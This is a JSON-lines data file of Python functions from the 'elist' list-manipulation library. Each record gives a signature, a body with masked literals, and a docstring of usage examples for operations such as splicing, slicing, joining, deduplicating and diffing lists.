elist.elist import *\nol = [1,'a',3,'b',5,'a',6,'a',7,'b',8,'b',9]\nid(ol)\nnew = remove_many(ol,['a','b'],[1,2])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'b',5,'a',6,'a',7,'b',8,'b',9]\nid(ol)\nrslt = remove_many(ol,['a','b'],[1,2],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m124"}
{"signature": "def remove_manynot(ol,values,seqs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>values = copy.deepcopy(values)<EOL>seqs = copy.deepcopy(seqs)<EOL>cursors = [-<NUM_LIT:1>] * values.__len__()<EOL>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>label = True<EOL>for j in range(<NUM_LIT:0>,cursors.__len__()):<EOL><INDENT>which = seqs[j]<EOL>value = values[j]<EOL>if(not(cpol[i] == value)):<EOL><INDENT>cursors[j] = cursors[j] + <NUM_LIT:1><EOL>if(cursors[j] == which):<EOL><INDENT>label = False<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(label):<EOL><INDENT>new.append(cpol[i])<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'a',3,'b',5,'a',6,'a',7,'b',8,'b',9]\nid(ol)\nnew = remove_manynot(ol,['a','b'],[1,2])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'a',3,'b',5,'a',6,'a',7,'b',8,'b',9]\nid(ol)\nrslt = remove_manynot(ol,['a','b'],[1,2],mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m125"}
{"signature": "def cond_remove_all(ol,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>selected = find_all(new,cond_func,*cond_func_args)<EOL>selected_indexes = array_map(selected,lambda ele:ele['<STR_LIT:index>'])<EOL>new = pop_indexes(new,selected_indexes)['<STR_LIT:list>']<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\ndef afterCH(ele,ch):\n    cond = (ord(str(ele)) > ord(ch))\n    return(cond)\n\nnew = cond_remove_all(ol,cond_func=afterCH,cond_func_args=['B'])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\nrslt = cond_remove_all(ol,cond_func=afterCH,cond_func_args=['B'],mode='original')\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m126"}
{"signature": "def cond_remove_seqs(ol,seqs,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>new = copy.deepcopy(ol)<EOL>selected = find_all(new,cond_func,*cond_func_args)<EOL>selected_indexes = array_map(selected,lambda ele:ele['<STR_LIT:index>'])<EOL>selected_indexes = pop_indexes(selected_indexes,seqs)['<STR_LIT>']<EOL>new = pop_indexes(new,selected_indexes)['<STR_LIT:list>']<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\ndef afterCH(ele,ch):\n    cond = (ord(str(ele)) > ord(ch))\n    return(cond)\n\nnew = cond_remove_seqs(ol,[0,2],cond_func=afterCH,cond_func_args=['B'])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\nrslt = cond_remove_seqs(ol,[0,2],cond_func=afterCH,cond_func_args=['B'],mode='original')\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m127"}
{"signature": "def cond_remove_some(ol,*some,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>seqs = list(some)<EOL>rslt = cond_remove_seqs(ol,seqs,cond_func=cond_func,cond_func_args=cond_func_args)<EOL>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\n\ndef afterCH(ele,ch):\n    cond = (ord(str(ele)) > ord(ch))\n    return(cond)\n\nnew = cond_remove_some(ol,0,2,cond_func=afterCH,cond_func_args=['B'])\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,'X',3,'b',5,'c',6,'A',7,'b',8,'B',9]\nid(ol)\nrslt = cond_remove_some(ol,0,2,cond_func=afterCH,cond_func_args=['B'],mode='original')\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m128"}
{"signature": "def init(len,default_element=None):", "body": "rslt = []<EOL>for i in range(<NUM_LIT:0>,len):<EOL><INDENT>rslt.append(copy.deepcopy(default_element))<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\ninit(5)\ninit(5,\"x\")", "id": "f1599:m129"}
{"signature": "def init_range(start,end,step):", "body": "return(list(range(start,end,step)))<EOL>", "docstring": "init_range(1,20,2)", "id": "f1599:m130"}
{"signature": "def intlize(l):", "body": "return(list(map(lambda ele:int(ele),l)))<EOL>", "docstring": "from elist.elist import *\nl = [\"1\",\"3\",\"4\",\"5\"]\nintlize(l)", "id": "f1599:m131"}
{"signature": "def strlize(l):", "body": "return(list(map(lambda ele:str(ele),l)))<EOL>", "docstring": "from elist.elist import *\nl = [1,3,4,5]\nstrlize(l)", "id": "f1599:m132"}
{"signature": "def array_from(obj,func,*args):", "body": "if(func):<EOL><INDENT>l = list(obj)<EOL>rslt = list(map(lambda ele:func(ele,*args),l))<EOL>return(rslt)<EOL><DEDENT>else:<EOL><INDENT>return(list(obj))<EOL><DEDENT>", "docstring": "from elist.elist import *\narray_from(\"abcd\",None)\n#####\ndef map_func(ele,x,y):\n    return(int(ele)+x+y)\n\narray_from(\"1234\",map_func,1000,100)\n\ndef map_func(ele):\n    return(int(ele)*2)\n\narray_from(\"1234\",map_func)\n\narray_from(\"1234\",None)", "id": "f1599:m133"}
{"signature": "def array_of(*eles):", "body": "return(list(eles))<EOL>", "docstring": "from elist.elist import *\narray_of(1,2,4,5,6)", "id": "f1599:m134"}
{"signature": "def deepcopy(ol):", "body": "return(copy.deepcopy(ol))<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nid(ol)\nnew = deepcopy(ol)\nnew\nid(new)", "id": "f1599:m135"}
{"signature": "def copy_within(ol,target, start=None, end=None):", "body": "length = ol.__len__()<EOL>if(start==None):<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>if(end==None):<EOL><INDENT>end = length<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>target = uniform_index(target,length)<EOL>start = uniform_index(start,length)<EOL>end = uniform_index(end,length)<EOL>cplen = end - start<EOL>cpend = target+cplen<EOL>if(target+cplen > length):<EOL><INDENT>cpend = length<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>shift = start - target<EOL>if(shift>=<NUM_LIT:0>):<EOL><INDENT>for i in range(target,cpend):<EOL><INDENT>ol[i] = ol[i+shift]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for i in range(cpend-<NUM_LIT:1>,target-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>ol[i] = ol[i+shift]<EOL><DEDENT><DEDENT>return(ol)<EOL>", "docstring": "from elist.elist import *\nol = [1, 2, 3, 4, 5]\nid(ol)\nrslt = copyWithin(ol,0,3,4)\nrslt\nid(rslt)\n####\nol = [1, 2, 3, 4, 5]\nid(ol)\nrslt = copyWithin(ol,0,3)\nrslt\nid(rslt)\n####\nol = [1, 2, 3, 4, 5]\nid(ol)\nrslt = copyWithin(ol,-2)\nrslt\nid(rslt)\n####copyWithin is the same as copy_within", "id": "f1599:m136"}
{"signature": "def reverse(ol,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>new.reverse()<EOL>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.reverse()<EOL>return(ol)<EOL><DEDENT>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nid(ol)\nnew = reverse(ol)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,2,3,4]\nid(ol)\nrslt = reverse(ol,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m137"}
{"signature": "def comprise(list1,list2,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>len_1 = list1.__len__()<EOL>len_2 = list2.__len__()<EOL>if(len_2>len_1):<EOL><INDENT>return(False)<EOL><DEDENT>else:<EOL><INDENT>if(mode==\"<STR_LIT:strict>\"):<EOL><INDENT>if(list2 == list1[:len_2]):<EOL><INDENT>return(True)<EOL><DEDENT>else:<EOL><INDENT>return(False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>end = len_1 - len_2<EOL>for i in range(<NUM_LIT:0>,end+<NUM_LIT:1>):<EOL><INDENT>if(list2 == list1[i:(i+len_2)]):<EOL><INDENT>return(True)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return(False)<EOL>", "docstring": "from elist.elist import *\ncomprise([1,2,3,4,5],[2,3,4],mode=\"loose\")\ncomprise([1,2,3,4,5],[2,3,4])\ncomprise([1,2,3,4,5],[2,3,4],mode=\"strict\")\ncomprise([1,2,3,4,5],[1,2,3,4],mode=\"strict\")\n#not recursive ,only one level\n#please refer to ListTree.search for recursive support", "id": "f1599:m138"}
{"signature": "def entries(ol):", "body": "rslt = []<EOL>length = ol.__len__()<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>entry = [i,ol[i]]<EOL>rslt.append(entry)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = ['a','b','c']\nrslt = entries(ol)\nrslt", "id": "f1599:m139"}
{"signature": "def includes(ol,value):", "body": "return((value in ol))<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nincludes(ol,3)\nincludes(ol,5)", "id": "f1599:m140"}
{"signature": "def toString(ol):", "body": "return(ol.__str__())<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\ntoString(ol)", "id": "f1599:m141"}
{"signature": "def toSource(ol):", "body": "return(ol.__repr__())<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\ntoSource(ol)", "id": "f1599:m142"}
{"signature": "def splice(ol,start,deleteCount,*eles,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>new = copy.deepcopy(ol)<EOL>if(start >= length):<EOL><INDENT>eles = list(eles)<EOL>new.extend(eles)<EOL><DEDENT>else:<EOL><INDENT>start = uniform_index(start,length)<EOL>end = start + deleteCount<EOL>tmp = pop_range(new,start,end,mode=\"<STR_LIT>\")['<STR_LIT:list>']<EOL>new = insert_some(tmp,*eles,index=start,mode=\"<STR_LIT>\")<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [\"angel\", \"clown\", \"mandarin\", \"surgeon\"]\nid(ol)\nnew = splice(ol,2,0,\"drum\")\nnew\nid(new)\n####\nol = [\"angel\", \"clown\", \"mandarin\", \"surgeon\"]\nid(ol)\nnew = splice(ol,2,1,\"drum\",mode=\"original\")\nnew\nid(new)\n####\nol = [1,2,3,4,5,6]\nid(ol)\nnew = splice(ol,2,2,77,777)\nnew\nid(new)", "id": "f1599:m143"}
{"signature": "def slice(ol,start,end=None,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>new = copy.deepcopy(ol)<EOL>if(end == None):<EOL><INDENT>end = length<EOL><DEDENT>else:<EOL><INDENT>end = uniform_index(end,length)<EOL><DEDENT>start = uniform_index(start,length)<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new[start:end])<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new[start:end])<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4,5]\nid(ol)\nnew = slice(ol,2,4)\nnew\nid(new)\n####\nid(ol)\nrslt = slice(ol,1,-2,mode=\"original\")\nrslt\nid(rslt)", "id": "f1599:m144"}
{"signature": "def join(ol,separator=\"<STR_LIT:U+002C>\"):", "body": "if(ol.__len__() == <NUM_LIT:0>):<EOL><INDENT>return(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cond = (type(ol[<NUM_LIT:0>])==type(b'<STR_LIT>'))<EOL>if(cond):<EOL><INDENT>rslt = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>rslt =\"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>for i in range(<NUM_LIT:0>,length-<NUM_LIT:1>):<EOL><INDENT>ele = ol[i]<EOL>if(cond):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ele = str(ele)<EOL><DEDENT>rslt = rslt + ele + separator<EOL><DEDENT>if(cond):<EOL><INDENT>rslt = rslt + ol[length - <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>rslt = rslt + str(ol[length - <NUM_LIT:1>])<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\njoin(ol,separator=\"-\")", "id": "f1599:m145"}
{"signature": "def join2(ol,*sps):", "body": "rslt =\"<STR_LIT>\"<EOL>length = ol.__len__()<EOL>for i in range(<NUM_LIT:0>,length-<NUM_LIT:1>):<EOL><INDENT>rslt = rslt + str(ol[i]) + sps[i]<EOL><DEDENT>rslt = rslt + str(ol[length - <NUM_LIT:1>])<EOL>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\njoin2(ol,\"-\",\"+\",\"*\")", "id": "f1599:m146"}
{"signature": "def htmljoin(ol,sp,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>outer = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>outer = \"<STR_LIT>\"<EOL><DEDENT>if(outer):<EOL><INDENT>head = \"<STR_LIT:<>\" + outer + \"<STR_LIT:>>\"<EOL>tail = \"<STR_LIT>\" + outer + \"<STR_LIT:>>\"<EOL><DEDENT>else:<EOL><INDENT>head = \"<STR_LIT>\"<EOL>tail = \"<STR_LIT>\"<EOL><DEDENT>rslt = head<EOL>length = ol.__len__()<EOL>begin = \"<STR_LIT:<>\" + sp + \"<STR_LIT:>>\"<EOL>end = \"<STR_LIT>\" + sp + \"<STR_LIT:>>\"<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>rslt = rslt + begin + str(ol[i]) + end<EOL><DEDENT>rslt = rslt + tail<EOL>return(rslt)<EOL>", "docstring": "ol = [1,2,3,4]\nhtmljoin(ol,\"option\",outer=\"select\")", "id": "f1599:m147"}
{"signature": "def uniqualize(l,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = '<STR_LIT>'<EOL><DEDENT>pt = copy.deepcopy(l)<EOL>seqs =[]<EOL>freq = {}<EOL>for i in range(<NUM_LIT:0>,pt.__len__()):<EOL><INDENT>v = pt[i]<EOL>if(v in freq):<EOL><INDENT>freq[v] = freq[v] + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>freq[v] = <NUM_LIT:0><EOL>seqs.append(i)<EOL><DEDENT><DEDENT>npt = select_seqs(pt,seqs)<EOL>pt = npt<EOL>if(mode == '<STR_LIT>'):<EOL><INDENT>return(npt)<EOL><DEDENT>else:<EOL><INDENT>l.clear()<EOL>l.extend(npt)<EOL>return(l)<EOL><DEDENT>", "docstring": "from elist.elist import *\nl = [1, 2, 2]\nnew = uniqualize(l)\nnew\nid(l)\nid(new)\n####\nl = [1, 2, 2]\nrslt = uniqualize(l,mode=\"original\")\nrslt\nid(l)\nid(rslt)", "id": "f1599:m148"}
{"signature": "def cond_uniqualize(l,**kwargs):", "body": "cond_func = kwargs['<STR_LIT>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>cond_func_args = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>cond_func_args = []<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>reserved_mapping = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>reserved_mapping = None<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = '<STR_LIT>'<EOL><DEDENT>desc = cond_value_indexes_mapping(l,cond_func=cond_func,cond_func_args=cond_func_args,with_none=True)<EOL>keys = list(desc.keys())<EOL>if(None in keys):<EOL><INDENT>keys.remove(None)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>rmapping = {}<EOL>for key in keys:<EOL><INDENT>rmapping[key] = <NUM_LIT:0><EOL><DEDENT>if(reserved_mapping == None):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for key in reserved_mapping:<EOL><INDENT>rmapping[key] = reserved_mapping[key]<EOL><DEDENT><DEDENT>reserved_indexes = []<EOL>for key in keys:<EOL><INDENT>indexes = desc[key]<EOL>index = indexes[rmapping[key]]<EOL>reserved_indexes.append(index)<EOL><DEDENT>newcopy = copy.deepcopy(l)<EOL>new = select_seqs(newcopy,reserved_indexes)<EOL>if(None in desc):<EOL><INDENT>for index in desc[None]:<EOL><INDENT>new.append(newcopy[index])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nl = [('BIGipServer', 'rd100'), ('TS013d8ed5', '00A0'), ('BIGipServer', 'rd200'), ('TS013d8ed5', '00B0'), ('SID', '1'), ('SID', '2')]\n\ndef cond_func(ele,*args):\n    cond = ele[0]\n    return(cond)\n\nuniqualized = cond_uniqualize(l,cond_func=cond_func)\npobj(uniqualized)\n\nl = [('BIGipServer', 'rd100'), ('TS013d8ed5', '00A0'), ('BIGipServer', 'rd200'), ('TS013d8ed5', '00B0'), ('SID', '1'), ('SID', '2')]\n\nreserved_mapping = {'BIGipServer':0,'TS013d8ed5':1,'SID':1}\nuniqualized = cond_uniqualize(l,cond_func=cond_func,reserved_mapping=reserved_mapping)\npobj(uniqualized)", "id": "f1599:m149"}
{"signature": "def interleave(*arrays,**kwargs):", "body": "anum = arrays.__len__()<EOL>rslt = []<EOL>length = arrays[<NUM_LIT:0>].__len__()<EOL>for j in range(<NUM_LIT:0>,length):<EOL><INDENT>for i in range(<NUM_LIT:0>,anum):<EOL><INDENT>array = arrays[i]<EOL>rslt.append(array[j])<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "arr1 = [1,2,3,4]\narr2 = ['a','b','c','d']\narr3 = ['@','#','%','*']\ninterleave(arr1,arr2,arr3)", "id": "f1599:m150"}
{"signature": "def deinterleave(ol,gnum):", "body": "def test_func(ele,index,interval,which):<EOL><INDENT>cond= (index % interval == which)<EOL>return(cond)<EOL><DEDENT>rslt = []<EOL>for i in range(<NUM_LIT:0>,gnum):<EOL><INDENT>arr = cond_select_all2(ol,cond_func = test_func,cond_func_args = [gnum,i])<EOL>rslt.append(arr)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "ol = [1, 2, 3, 4, 5, 6, 7, 8, 9]\ndeinterleave(ol,3)", "id": "f1599:m151"}
{"signature": "def loose_in(pl,k):", "body": "cond = some(pl,lambda ele:(k in ele))['<STR_LIT>']<EOL>return(cond)<EOL>", "docstring": "pl = ['bcd','xabcxx','x','y']\nloose_in(pl,'abc')", "id": "f1599:m155"}
{"signature": "def select_loose_in(pl,k):", "body": "def cond_func(ele,index,k):<EOL><INDENT>if(type(ele) == type([])):<EOL><INDENT>cond = loose_in(ele,k)<EOL><DEDENT>else:<EOL><INDENT>cond = (k in ele)<EOL><DEDENT>return(cond)<EOL><DEDENT>arr = cond_select_values_all2(pl,cond_func=cond_func, cond_func_args =[k])<EOL>return(arr)<EOL>", "docstring": "pl = ['bcd','xabcxx','x','y']\nselect_loose_in(pl,'abc')", "id": "f1599:m156"}
{"signature": "def select_strict_in(pl,k):", "body": "def cond_func(ele,index,k):<EOL><INDENT>if(type(ele) == type([])):<EOL><INDENT>cond = (k in ele)<EOL><DEDENT>else:<EOL><INDENT>cond = (k == ele)<EOL><DEDENT>return(cond)<EOL><DEDENT>arr = cond_select_values_all2(pl,cond_func=cond_func, cond_func_args =[k])<EOL>return(arr)<EOL>", "docstring": "pl = ['bcd','xabcxx','x','y']\nselect_strict_in(pl,'abc')", "id": "f1599:m157"}
{"signature": "def regex_in(pl,regex):", "body": "def cond_func(ele,regex):<EOL><INDENT>m = regex.search(ele)<EOL>if(m == None):<EOL><INDENT>return(False)<EOL><DEDENT>else:<EOL><INDENT>return(True)<EOL><DEDENT><DEDENT>cond = some(pl,cond_func,regex)['<STR_LIT>']<EOL>return(cond)<EOL>", "docstring": "regex = re.compile(\"^[a-z]+$\")\npl = ['b1c3d','xab15cxx','1x','y2']\nregex_in(pl,regex)\n\nregex = re.compile(\"^[0-9a-z]+$\")\npl = ['b1c3d','xab15cxx','1x','y2']\nregex_in(pl,regex)", "id": "f1599:m158"}
{"signature": "def select_regex_in(pl,regex):", "body": "def cond_func(ele,index,regex):<EOL><INDENT>if(type(ele)==type([])):<EOL><INDENT>cond = regex_in(ele,regex)<EOL><DEDENT>else:<EOL><INDENT>m = regex.search(ele)<EOL>if(m == None):<EOL><INDENT>cond = False<EOL><DEDENT>else:<EOL><INDENT>cond = True<EOL><DEDENT><DEDENT>return(cond)<EOL><DEDENT>arr = cond_select_values_all2(pl,cond_func=cond_func, cond_func_args =[regex])<EOL>return(arr)<EOL>", "docstring": "regex = re.compile(\"^x.*x$\")\npl = ['bcd','xabcxx','xx','y']\nselect_regex_in(pl,'abc')", "id": "f1599:m159"}
{"signature": "def fill(ol,value,start=None, end=None,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>if(start==None):<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>if(end==None):<EOL><INDENT>end = length<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>start = uniform_index(start,length)<EOL>end = uniform_index(end,length)<EOL>new = copy.deepcopy(ol)<EOL>for i in range(start,end):<EOL><INDENT>new[i] = value<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1, 2, 3,4,5]\nid(ol)\nrslt = fill(ol,4)\nrslt\nid(rslt)\n####\nol = [1, 2, 3,4,5]\nid(ol)\nrslt = fill(ol,4,1)\nrslt\nid(rslt)\n####\nol = [1, 2, 3,4,5]\nid(ol)\nrslt = fill(ol,6,1,3,mode=\"original\")\nrslt\nid(rslt)", "id": "f1599:m161"}
{"signature": "def reduce_left(ol,callback,initialValue):", "body": "length = ol.__len__()<EOL>accumulator = initialValue<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>accumulator = callback(accumulator,ol[i])<EOL><DEDENT>return(accumulator)<EOL>", "docstring": "from elist.elist import *\ndef callback(accumulator,currentValue):\n    accumulator.append(currentValue[0])\n    accumulator.append(currentValue[1])\n    return(accumulator)\n\nol = [(1,2),(\"a\",\"b\"),(\"x\",\"y\")]\nreduce_left(ol,callback,[])\n#array_reduce, reduceLeft ,reduce_left  are the same", "id": "f1599:m175"}
{"signature": "def reduce_right(ol,callback,initialValue):", "body": "length = ol.__len__()<EOL>accumulator = initialValue<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>accumulator = callback(accumulator,ol[i])<EOL><DEDENT>return(accumulator)<EOL>", "docstring": "from elist.elist import *\ndef callback(accumulator,currentValue):\n    accumulator.append(currentValue[0])\n    accumulator.append(currentValue[1])\n    return(accumulator)\n\nol = [(1,2),(\"a\",\"b\"),(\"x\",\"y\")]\nreduce_right(ol,callback,[])\n#reduceRight,reduce_right are the same", "id": "f1599:m176"}
{"signature": "def diff_indexes(l1,l2):", "body": "rslt = []<EOL>for i in range(<NUM_LIT:0>,l1.__len__()):<EOL><INDENT>if(l1[i]!=l2[i]):<EOL><INDENT>rslt.append(i)<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nl1 = [1,2,3,5]\nl2 = [0,2,3,4]\ndiff_indexes(l1,l2)", "id": "f1599:m177"}
{"signature": "def diff_values(l1,l2):", "body": "rslt = []<EOL>for i in range(<NUM_LIT:0>,l1.__len__()):<EOL><INDENT>if(l1[i]!=l2[i]):<EOL><INDENT>rslt.append(l1[i])<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nl1 = [1,2,3,5]\nl2 = [0,2,3,4]\ndiff_values(l1,l2)", "id": "f1599:m178"}
{"signature": "def same_indexes(l1,l2):", "body": "rslt = []<EOL>for i in range(<NUM_LIT:0>,l1.__len__()):<EOL><INDENT>if(l1[i]==l2[i]):<EOL><INDENT>rslt.append(i)<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nl1 = [1,2,3,5]\nl2 = [0,2,3,4]\nsame_indexes(l1,l2)", "id": "f1599:m179"}
{"signature": "def same_values(l1,l2):", "body": "rslt = []<EOL>for i in range(<NUM_LIT:0>,l1.__len__()):<EOL><INDENT>if(l1[i]==l2[i]):<EOL><INDENT>rslt.append(l1[i])<EOL><DEDENT><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nl1 = [1,2,3,5]\nl2 = [0,2,3,4]\nsame_values(l1,l2)", "id": "f1599:m180"}
{"signature": "def value_indexes_mapping(l):", "body": "pt = copy.deepcopy(l)<EOL>desc = {}<EOL>vset = set({})<EOL>for v in pt:<EOL><INDENT>vset.add(v)<EOL><DEDENT>for v in vset:<EOL><INDENT>desc[v] = []<EOL><DEDENT>for i in range(<NUM_LIT:0>,l.__len__()):<EOL><INDENT>desc[l[i]].append(i)<EOL><DEDENT>return(desc)<EOL>", "docstring": "from elist.elist import *\nfrom elist.jprint import pobj\nl = ['a','b','b','a','c','b']\ndesc = value_indexes_mapping(l)\npobj(desc)", "id": "f1599:m181"}
